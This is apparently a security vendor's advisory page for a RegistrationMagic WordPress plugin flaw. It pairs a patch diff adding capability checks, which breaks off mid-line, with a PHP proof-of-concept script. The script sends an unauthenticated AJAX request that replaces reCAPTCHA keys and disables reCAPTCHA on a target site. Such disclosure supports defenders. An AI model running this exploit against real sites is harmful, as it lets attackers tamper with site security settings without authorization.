+            } else {

-            // Edit for request
-            if (isset($request->req['rm_field_id'])) {
-                $model->load_from_db($request->req['rm_field_id']);
-            }
+                // Edit for request
+                if (isset($request->req['rm_field_id'])) {
+                    $model->load_from_db($request->req['rm_field_id']);
+                }

-            $data = new stdClass;
-            $data->model = $model;
-            $data->selected_field = isset($request->req['rm_field_type']) ? $request->req['rm_field_type'] : null;
-            if ($data->selected_field=="Repeatable_M") {
-                  $data->model->field_options->field_is_multiline=1;
-            }
-
-            if(strtolower($data->selected_field)=="mobile"){
-                $data->country_fields = $service->get_country_field_dd($request->req['rm_form_id']);
+                $data = new stdClass;
+                $data->model = $model;
+                $data->selected_field = isset($request->req['rm_field_type']) ? $request->req['rm_field_type'] : null;
+                if ($data->selected_field=="Repeatable_M") {
+                    $data->model->field_options->field_is_multiline=1;
+                }
+
+                if(strtolower($data->selected_field)=="mobile"){
+                    $data->country_fields = $service->get_country_field_dd($request->req['rm_form_id']);
+                }
+
+                $data->form_id = $request->req['rm_form_id'];
+                $data->paypal_fields = RM_Utilities::get_paypal_field_types($service);
+                if(defined('REGMAGIC_ADDON'))
+                    $data->validations_array = RM_Utilities::get_validations_array();
+                $user_service= new RM_User_Services();
+                $data->metas= $user_service->get_user_meta_dropdown();
+                $view = $this->mv_handler->setView("field_add");
+                $view->render($data);
             }
-
-            $data->form_id = $request->req['rm_form_id'];
-            $data->paypal_fields = RM_Utilities::get_paypal_field_types($service);
-            if(defined('REGMAGIC_ADDON'))
-                $data->validations_array = RM_Utilities::get_validations_array();
-            $user_service= new RM_User_Services();
-            $data->metas= $user_service->get_user_meta_dropdown();
-            $view = $this->mv_handler->setView("field_add");
-            $view->render($data);
         }
     }

     public function add_widget($model, $service, $request, $params){
-        if (isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id'])) {
-            $fields_data = $service->get_all_form_fields($request->req['rm_form_id']);
-        } else {
-            // Ninja Forms conflict fix
-            echo '<div class="rm-builder-notice"><div class="rmnotice">'.esc_html__('No form selected. Redirecting you back to the all forms page.','custom-registration-form-builder-with-submission-manager').'</div></div>';
-            echo "<script>window.setTimeout(function(){ window.location.href = '" . admin_url('admin.php?page=rm_form_manage') . "';}, 3000);</script>";
-            die;
-        }
-        if (isset($request->req['rm_form_page_no']))
-            $form_page_no = $request->req['rm_form_page_no'];
-        else
-            $form_page_no = 1;
-
-        if ($this->mv_handler->validateForm("add-widget")){
-            $request->req['page_no'] = $form_page_no;
-            $new_field_order = intval($service->get_fields_highest_order($request->req['rm_form_id'], $form_page_no)) + 1;
-            $request->req['field_order'] = $new_field_order;
-            $model->set($request->req);
-
-            /////////////////////
-            if(isset($request->req['field_id'])){
-                $temp_model= new RM_Fields();
-                $temp_model->load_from_db($request->req['field_id']);
-                $request->req['conditions']= $temp_model->get_field_conditions();
-                $service->update($model, $service, $request, $params);
-            } else{
-                $new_field_id = $service->add($model, $service, $request, $params);
-                if(isset($request->req['rm_row_id']) && isset($request->req['rm_order_in_row'])) {
-                    if($request->req['rm_row_id'] == 0)
-                        $this->add_field_in_row(RM_DBManager::add_quick_row_in_form($request->req['rm_form_id'], $form_page_no),$new_field_id,intval($request->req['rm_order_in_row']));
-                    else
-                        $this->add_field_in_row($request->req['rm_row_id'],$new_field_id,intval($request->req['rm_order_in_row']));
+        if (current_user_can('manage_options') || current_user_can('rm_form_managemanage_options')) {
+            if (isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id'])) {
+                $fields_data = $service->get_all_form_fields($request->req['rm_form_id']);
+            } else {
+                // Ninja Forms conflict fix
+                echo '<div class="rm-builder-notice"><div class="rmnotice">'.esc_html__('No form selected. Redirecting you back to the all forms page.','custom-registration-form-builder-with-submission-manager').'</div></div>';
+                echo "<script>window.setTimeout(function(){ window.location.href = '" . admin_url('admin.php?page=rm_form_manage') . "';}, 3000);</script>";
+                die;
+            }
+            if (isset($request->req['rm_form_page_no']))
+                $form_page_no = $request->req['rm_form_page_no'];
+            else
+                $form_page_no = 1;
+
+            if ($this->mv_handler->validateForm("add-widget")){
+                $request->req['page_no'] = $form_page_no;
+                $new_field_order = intval($service->get_fields_highest_order($request->req['rm_form_id'], $form_page_no)) + 1;
+                $request->req['field_order'] = $new_field_order;
+                $model->set($request->req);
+
+                /////////////////////
+                if(isset($request->req['field_id'])){
+                    $temp_model= new RM_Fields();
+                    $temp_model->load_from_db($request->req['field_id']);
+                    $request->req['conditions']= $temp_model->get_field_conditions();
+                    $service->update($model, $service, $request, $params);
+                } else{
+                    $new_field_id = $service->add($model, $service, $request, $params);
+                    if(isset($request->req['rm_row_id']) && isset($request->req['rm_order_in_row'])) {
+                        if($request->req['rm_row_id'] == 0)
+                            $this->add_field_in_row(RM_DBManager::add_quick_row_in_form($request->req['rm_form_id'], $form_page_no),$new_field_id,intval($request->req['rm_order_in_row']));
+                        else
+                            $this->add_field_in_row($request->req['rm_row_id'],$new_field_id,intval($request->req['rm_order_in_row']));
+                    }
+                // die('firsttime');
                 }
-               // die('firsttime');
+
+                RM_DBManager::update_form_published_pages($request->req["rm_form_id"]);
+                RM_Utilities::redirect(admin_url('/admin.php?page=' . $params['xml_loader']->request_tree->success . '&rm_form_id=' . $request->req["rm_form_id"] . '&rm_form_page_no=' . $form_page_no));
             }
+            isset($request->req['rm_field_id']) ? $model->load_from_db($request->req['rm_field_id']) : '';
+            $data = new stdClass;
+            $data->selected_field = isset($request->req['rm_field_type']) ? $request->req['rm_field_type'] : null;

-            RM_DBManager::update_form_published_pages($request->req["rm_form_id"]);
-            RM_Utilities::redirect(admin_url('/admin.php?page=' . $params['xml_loader']->request_tree->success . '&rm_form_id=' . $request->req["rm_form_id"] . '&rm_form_page_no=' . $form_page_no));
+            $data->form_id = $request->req['rm_form_id'];
+            $data->model= $model;
+            $view = $this->mv_handler->setView("add_widget");
+            $view->render($data);
         }
-        isset($request->req['rm_field_id']) ? $model->load_from_db($request->req['rm_field_id']) : '';
-        $data = new stdClass;
-        $data->selected_field = isset($request->req['rm_field_type']) ? $request->req['rm_field_type'] : null;
-
-        $data->form_id = $request->req['rm_form_id'];
-        $data->model= $model;
-        $view = $this->mv_handler->setView("add_widget");
-        $view->render($data);
     }

     public function manage($model, $service, $request, $params) {
-        $data = new stdClass;
-        if(isset($request->req['rm_form_id'])) {
-            $request->req['rm_form_id'] = absint($request->req['rm_form_id']);
-        } else {
-            // Ninja Forms conflict fix
-            echo '<div class="rm-builder-notice"><div class="rmnotice">'.esc_html__('No form selected. Redirecting you back to the all forms page.','custom-registration-form-builder-with-submission-manager').'</div></div>';
-            echo "<script>window.setTimeout(function(){ window.location.href = '" . admin_url('admin.php?page=rm_form_manage') . "';}, 3000);</script>";
-        }
-        $data->active_step = isset($request->req['astep']) ? $request->req['astep'] : "build";
-        $data->def_form_id = $service->get_setting('default_form_id');
-        $fields_data= $service->get_all_form_fields($request->req['rm_form_id']);
-        $row_eligible = false;
-
-        if(!empty($request->req['rm_field_type'])){
-            if($request->req['rm_field_type']=='Username' && !$service->has_user_name($request->req['rm_form_id'])){
-                $service->create_default_username_field($request->req['rm_form_id'], true, $request->req['rm_row_id'], $request->req['rm_order_in_row']);
-                RM_Utilities::sync_username_hide_option($request->req['rm_form_id']);
-            } else if($request->req['rm_field_type']=='UserPassword' && !$service->has_user_password($request->req['rm_form_id'])){
-                $service->create_default_password_field($request->req['rm_form_id'], true, $request->req['rm_row_id'], $request->req['rm_order_in_row']);
+        if (current_user_can('manage_options') || current_user_can('rm_form_managemanage_options')) {
+            $data = new stdClass;
+            if(isset($request->req['rm_form_id'])) {
+                $request->req['rm_form_id'] = absint($request->req['rm_form_id']);
+            } else {
+                // Ninja Forms conflict fix
+                echo '<div class="rm-builder-notice"><div class="rmnotice">'.esc_html__('No form selected. Redirecting you back to the all forms page.','custom-registration-form-builder-with-submission-manager').'</div></div>';
+                echo "<script>window.setTimeout(function(){ window.location.href = '" . admin_url('admin.php?page=rm_form_manage') . "';}, 3000);</script>";
+            }
+            $data->active_step = isset($request->req['astep']) ? $request->req['astep'] : "build";
+            $data->def_form_id = $service->get_setting('default_form_id');
+            $fields_data= $service->get_all_form_fields($request->req['rm_form_id']);
+            $row_eligible = false;
+
+            if(!empty($request->req['rm_field_type'])){
+                if($request->req['rm_field_type']=='Username' && !$service->has_user_name($request->req['rm_form_id'])){
+                    $service->create_default_username_field($request->req['rm_form_id'], true, $request->req['rm_row_id'], $request->req['rm_order_in_row']);
+                    RM_Utilities::sync_username_hide_option($request->req['rm_form_id']);
+                } else if($request->req['rm_field_type']=='UserPassword' && !$service->has_user_password($request->req['rm_form_id'])){
+                    $service->create_default_password_field($request->req['rm_form_id'], true, $request->req['rm_row_id'], $request->req['rm_order_in_row']);
+                }
             }
-        }
-
-        $options= new RM_Options();
-
-        if (isset($request->req['rm_action'])) {
-            if ($request->req['rm_action'] === 'delete')
-                $this->remove_field($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'add_page') {
-                if(defined('REGMAGIC_ADDON')) {
-                    $this->add_page($model, $service, $request, $params);
-                    return;
-                } else {
-                    $data->current_page = $this->add_page($model, $service, $request, $params);
+
+            $options= new RM_Options();
+
+            if (isset($request->req['rm_action'])) {
+                if ($request->req['rm_action'] === 'delete')
+                    $this->remove_field($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'add_page') {
+                    if(defined('REGMAGIC_ADDON')) {
+                        $this->add_page($model, $service, $request, $params);
+                        return;
+                    } else {
+                        $data->current_page = $this->add_page($model, $service, $request, $params);
+                    }
+                } elseif ($request->req['rm_action'] === 'delete_page')
+                    $this->delete_page($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'rename_page')
+                    $this->rename_page($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'rename_page')
+                    $this->rename_page($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'add_row')
+                    $this->add_row($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'update_row')
+                    $this->update_row($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'delete_row')
+                    $this->remove_row($model, $service, $request, $params);
+                elseif ($request->req['rm_action'] === 'duplicate_row')
+                    $this->duplicate_row($model, $service, $request, $params);
+            }
+
+            /* Saving conditional fields */
+            if(isset($request->req['dfield'])){
+            $dField= new RM_Fields();
+            $dField->load_from_db($request->req['dfield']);
+            $dType= $dField->get_field_type();
+            //$allowed_c_fields= RM_Utilities::get_allowed_conditional_fields();
+            $cField= new RM_Fields();
+            $dField->field_options->conditions= array("rules"=> array(),"settings"=>array());
+            if(empty($request->req['cfields'])){
+                    $dField->field_options->conditions= array();
+                    $dField->field_options->conditions['settings']= array();
+                    $dField->update_into_db();
+            } else{
+            foreach($request->req['cfields'] as $index=>$cf_id){
+                    if((int)$cf_id==0 || $cf_id==$dField->field_id)
+                        continue;
+                    $cField->load_from_db($cf_id);
+                    $cType= $cField->get_field_type();
+                    $dField->field_options->conditions['rules']['c_'.$cf_id.'_'.$index]= array("controlling_field"=>$cf_id,"op"=>$request->req['op'][$index],"values"=>explode(',',(string)$request->req['values'][$index]));
+                    $dField->field_options->conditions['settings']= array('combinator'=> isset($request->req['combinator'])?$request->req['combinator']:'OR');
+                    $dField->field_options->conditions['action']= $request->req['action'];
+                    $dField->update_into_db();
                 }
-            } elseif ($request->req['rm_action'] === 'delete_page')
-                $this->delete_page($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'rename_page')
-                $this->rename_page($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'rename_page')
-                $this->rename_page($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'add_row')
-                $this->add_row($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'update_row')
-                $this->update_row($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'delete_row')
-                $this->remove_row($model, $service, $request, $params);
-            elseif ($request->req['rm_action'] === 'duplicate_row')
-                $this->duplicate_row($model, $service, $request, $params);
-        }
-
-        /* Saving conditional fields */
-        if(isset($request->req['dfield'])){
-          $dField= new RM_Fields();
-          $dField->load_from_db($request->req['dfield']);
-          $dType= $dField->get_field_type();
-          //$allowed_c_fields= RM_Utilities::get_allowed_conditional_fields();
-          $cField= new RM_Fields();
-          $dField->field_options->conditions= array("rules"=> array(),"settings"=>array());
-          if(empty($request->req['cfields'])){
-                $dField->field_options->conditions= array();
-                $dField->field_options->conditions['settings']= array();
-                $dField->update_into_db();
-          } else{
-          foreach($request->req['cfields'] as $index=>$cf_id){
-                if((int)$cf_id==0 || $cf_id==$dField->field_id)
-                    continue;
-                $cField->load_from_db($cf_id);
-                $cType= $cField->get_field_type();
-                $dField->field_options->conditions['rules']['c_'.$cf_id.'_'.$index]= array("controlling_field"=>$cf_id,"op"=>$request->req['op'][$index],"values"=>explode(',',(string)$request->req['values'][$index]));
-                $dField->field_options->conditions['settings']= array('combinator'=> isset($request->req['combinator'])?$request->req['combinator']:'OR');
-                $dField->field_options->conditions['action']= $request->req['action'];
-                $dField->update_into_db();
-               }
-             }
-             $data->show_conditions= true;
-         }
-
-        if (isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id'])) {
-            $rows_data = $service->get_all_form_rows($request->req['rm_form_id']);
-            $fields_data = $service->get_all_form_fields($request->req['rm_form_id']);
-            if(!empty($rows_data)) {
-                $row_eligible = true;
-                foreach($rows_data as $row) {
-                    $row->fields = $service->get_all_fields_by_row($row);
                 }
+                $data->show_conditions= true;
             }
-        } else {
-            die;
-        }
-
-        $data->theme = $options->get_value_of('theme');
-        $data->fields_data = $fields_data;
-        $data->rows_data = $rows_data;
-        $data->row_eligible = $row_eligible;
-        $data->forms = RM_Utilities::get_forms_dropdown($service);
-        $form = new RM_Forms();
-        $form->load_from_db($request->req['rm_form_id']);
-        $data->form_id = $request->req['rm_form_id'];
-        $data->form= $form;
-        $data->field_types = defined('REGMAGIC_ADDON') ? RM_Utilities::get_field_types(true,$form->form_type) : RM_Utilities::get_field_types();
-        $data->prev_page= $options->get_value_of('front_sub_page_id');
-        $fopts = $form->get_form_options();
-
-        if(!defined('REGMAGIC_ADDON')) {
-            $g = array_keys($data->field_types);
-            if($data->fields_data && is_array($data->fields_data))
-                foreach($data->fields_data as $in => $out)
-                {
-                    if(!in_array($out->field_type, $g))
-                            unset($data->fields_data[$in]);
+
+            if (isset($request->req['rm_form_id']) && is_numeric($request->req['rm_form_id'])) {
+                $rows_data = $service->get_all_form_rows($request->req['rm_form_id']);
+                $fields_data = $service->get_all_form_fields($request->req['rm_form_id']);
+                if(!empty($rows_data)) {
+                    $row_eligible = true;
+                    foreach($rows_data as $row) {
+                        $row->fields = $service->get_all_fields_by_row($row);
+                    }
                 }
-        }
+            } else {
+                die;
+            }

-        $data->recent_forms = RM_Utilities::get_recent_forms($service);
-        //$data->popular_forms = RM_Utilities::get_popular_forms($service);
+            $data->theme = $options->get_value_of('theme');
+            $data->fields_data = $fields_data;
+            $data->rows_data = $rows_data;
+            $data->row_eligible = $row_eligible;
+            $data->forms = RM_Utilities::get_forms_dropdown($service);
+            $form = new RM_Forms();
+            $form->load_from_db($request->req['rm_form_id']);
+            $data->form_id = $request->req['rm_form_id'];
+            $data->form= $form;
+            $data->field_types = defined('REGMAGIC_ADDON') ? RM_Utilities::get_field_types(true,$form->form_type) : RM_Utilities::get_field_types();
+            $data->prev_page= $options->get_value_of('front_sub_page_id');
+            $fopts = $form->get_form_options();
+
+            if(!defined('REGMAGIC_ADDON')) {
+                $g = array_keys($data->field_types);
+                if($data->fields_data && is_array($data->fields_data))
+                    foreach($data->fields_data as $in => $out)
+                    {
+                        if(!in_array($out->field_type, $g))
+                                unset($data->fields_data[$in]);
+                    }
+            }
+
+            $data->recent_forms = RM_Utilities::get_recent_forms($service);
+            //$data->popular_forms = RM_Utilities::get_popular_forms($service);

-        if (!$fopts->form_pages) {
-            $data->total_page = 1;
-            $data->form_pages = array('Page 1');
-            $data->ordered_form_pages = array(0);
-        } else {
-            $data->total_page = count($fopts->form_pages);
-            $data->form_pages = $fopts->form_pages;
-            if (!$fopts->ordered_form_pages)
-            {
-                $data->ordered_form_pages = array_keys($data->form_pages);
+            if (!$fopts->form_pages) {
+                $data->total_page = 1;
+                $data->form_pages = array('Page 1');
+                $data->ordered_form_pages = array(0);
+            } else {
+                $data->total_page = count($fopts->form_pages);
+                $data->form_pages = $fopts->form_pages;
+                if (!$fopts->ordered_form_pages)
+                {
+                    $data->ordered_form_pages = array_keys($data->for

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1054 - RegistrationMagic <= 6.0.7.4 - Missing Authorization to Unauthenticated Arbitrary Settings Modification

<?php
/**
 * Proof of Concept for CVE-2026-1054
 * Demonstrates unauthenticated arbitrary settings modification in RegistrationMagic plugin
 * Targets the rm_set_otp AJAX action handler
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// Example payload to modify reCAPTCHA settings
// Actual parameter names may vary based on plugin version
$post_data = array(
    'action' => 'rm_set_otp',
    'rm_sec_opt' => 'recaptcha',
    'rm_recaptcha_site_key' => 'attacker_controlled_key',
    'rm_recaptcha_secret_key' => 'attacker_controlled_secret',
    'rm_recaptcha_enable' => '0'  // Disable reCAPTCHA
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate WordPress AJAX request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest',
    'Connection: close'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || $http_code == 200) {
        echo "[+] Vulnerability likely exploited successfullyn";
        echo "[+] Plugin settings may have been modifiedn";
    } else {
        echo "[-] Exploit may have failed or site is patchedn";
    }
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School